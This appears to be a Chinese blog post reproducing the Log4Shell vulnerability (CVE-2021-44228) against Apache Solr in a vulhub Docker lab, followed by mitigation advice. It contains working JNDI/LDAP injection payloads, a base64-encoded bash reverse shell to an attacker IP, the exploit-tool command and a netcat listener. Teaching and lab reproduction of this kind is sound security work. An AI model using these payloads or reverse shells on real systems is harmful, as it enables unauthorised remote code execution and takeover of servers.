news 2026/3/10 17:27:50

Log4j(CVE-2021-44228)漏洞复现

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Log4j(CVE-2021-44228)漏洞复现

一、 漏洞介绍

1. 简介

Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

2. 漏洞成因

当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中假如日志中含有该语句${jndi:ldap:192.168.191.1:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.191.1:1099/exp解析到ldap,就会去192.168.61.129:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入;攻击者就可以通过shell实现任意的命令执行,造成严重危害。

3.受影响版本

Apache Log4j 2.x <= 2.14.1。

二、 漏洞复现

1. 环境部署

使用Ubuntu24系统,vulhub搭建漏洞环境。

具体搭建步骤详见:

Ubuntu24 Docker-vulhub靶场安装-CSDN博客https://blog.csdn.net/weixin_46098351/article/details/155501153?spm=1001.2014.3001.5501

2. 复现步骤

1、进入vulhub目录:

cd docker
cd vulhub

2、进入log4j目录,CVE-2021-44228。

cd log4j
cd CVE-2021-44228

3、启动靶场。

docker compose build
docker compose up -d

4、查看运行的端口,可以看到,运行在8983端口。

docker ps

5、查看漏洞说明。

cat README.zh-cn.md

6、靶场启动成功后,使用浏览器访问Apache Solr的后台界面(系统IP + 端口号8983)。

7、漏洞证明:

(1)用Yakit抓包,使用自带的DNSLog功能,生成一个独立的临时域名vzinpjjsus.lfcx.eu.org(也可以通过其它DNSLog平台,如http://dnslog.cn/等获取域名)。

(2)构造payload:${jndi:ldap://vzinpjjsus.lfcx.eu.org},点击发包即可,可以看到得到了DNS解析记录,证明Log4j漏洞存在。

(3)构造payload:action=${jndi:ldap://vzinpjjsus.lfcx.eu.org},点击发包,可以得到Java版本为1.8.0_102。

8、反弹shell:

使用工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用:

(1)下载工具Release JNDI-Injection-Exploit v1.0 · welk1n/JNDI-Injection-Exploit,将其放入Kali中,我图方便,直接放桌面了。

(2)使用反弹shell指令,并对指令进行Base64编码。(https://tool.chinaz.com/tools/base64.aspx)

反弹shell指令结构:

bash -i >& /dev/tcp/Kali攻击机IP/任意未被占用端口 0>&1

bash -i >& /dev/tcp/192.168.191.128/4444 0>&1 #Base64编码结果:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MS4xMjgvNDQ0NCAwPiYxCgoK

(3)进入目录调用工具,将编码后的反弹shell指令通过-C参数输入JNDI工具,通过-A参数指定kali攻击机的ip地址。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all\ .jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MS4xMjgvNDQ0NCAwPiYxCgoK}|{base64,-d}|{bash,-i}" -A 192.168.191.128

(4)在Kali另一个窗口监听4444端口。

nc -lnvp 4444

(5)将Yakit数据包中的payload替换为JNDI工具中生成的参数:

ldap://192.168.191.128:1389/tslvj1

完整访问链接为:

GET /solr/admin/cores?action=${jndi:ldap://192.168.191.128:1389/tslvj1} HTTP/1.1

生成的其它payload我还没试过,可自行尝试。

(6)点击发包,Kali的监听端口成功接收到反弹shell。

若直接发包后反弹不成功,可以将payload参数 ${jndi:ldap://192.168.191.128:1389/tslvj1}进行URL编码后尝试。

9、移除环境:

Vulhub中所有环境均为漏洞靶场,在测试结束后,请及时关闭并移除环境,避免被他人恶意利用。

虽然靶场全部运行在Docker中,但大多数恶意软件并不会因为运行在容器中就失去效果!docker-compose会默认根据当前目录下的配置文件启动容器,在关闭及移除环境的时候,也需要在对应目录下。我们执行docker-compose up -d后,不要离开当前目录即可,漏洞测试结束后,执行如下命令移除环境:

docker compose down

10、修复建议:

(1)添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;

(2)在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;

(3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

(4)部署使用第三方防火墙产品进行安全防护。

(5)升级至最新版本。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/8 6:14:30

斯坦福SR570 SR560 SR830 SR860测试仪器

SRS斯坦福SR560低噪声电压前置放大器 SRS斯坦福SR560低噪声电压前置放大器SR560是一种高性能、低噪音的前置放大器&#xff0c;适用于各种各样的应用&#xff0c;包括低温测量、光学检测和音频工程SR560有一个不同的前端&#xff0c;有4个nV/Hz的输入噪声和一个100 mof的输入阻…

作者头像 李华
网站建设 2026/3/5 13:21:21

2026亲测成都有机肥厂家口碑推荐

【有机肥】哪家好&#xff1a;专业深度测评在现代农业中&#xff0c;有机肥的使用越来越受到重视。为了帮助种植户选择合适的有机肥产品&#xff0c;本文将对市场上的主要有机肥品牌进行详细测评&#xff0c;重点推荐成都盖尔盖司生物科技有限公司的产品。开篇&#xff1a;定下…

作者头像 李华
网站建设 2026/3/10 10:13:06

基于SpringBoot的智慧乡村治理平台系统源码文档部署文档代码讲解等

课题介绍本课题旨在设计并实现一套基于SpringBoot框架的智慧乡村治理平台&#xff0c;以解决传统乡村治理中效率低下、信息不透明、服务便民性不足等痛点&#xff0c;助力乡村治理数字化、精细化转型。系统依托SpringBoot的高效开发特性与生态优势&#xff0c;整合MyBatis-Plus…

作者头像 李华
网站建设 2026/3/10 13:51:45

一文搞定 MediaPipe:零基础搭建到核心功能开发的完整教程

文章目录 MediaPipe 教程:从安装到应用 引言 1. MediaPipe 安装 1.1 环境要求 1.2 安装 MediaPipe 2. 人体姿态检测 2.1 概述 2.2 基本代码实现 2.2.1 导入必要的库 2.2.2 初始化 MediaPipe 姿态检测 2.2.3 视频捕获和处理 2.3 模块化开发 2.3.1 定义 `poseDetector` 类 2.3.2…

作者头像 李华
网站建设 2026/2/28 14:23:47

面向边缘设备的YOLOv12模型轻量化:剪枝与知识蒸馏联合优化方法

购买即可解锁300+YOLO优化文章,并且还有海量深度学习复现项目,价格仅需两杯奶茶的钱,别人有的本专栏也有! 文章目录 **面向边缘计算的YOLOv12模型剪枝-蒸馏联合优化实战教程** **一、 核心原理解析:从“庞大笨重”到“精干高效”的蜕变** **二、 代码实现:一步步完成模型…

作者头像 李华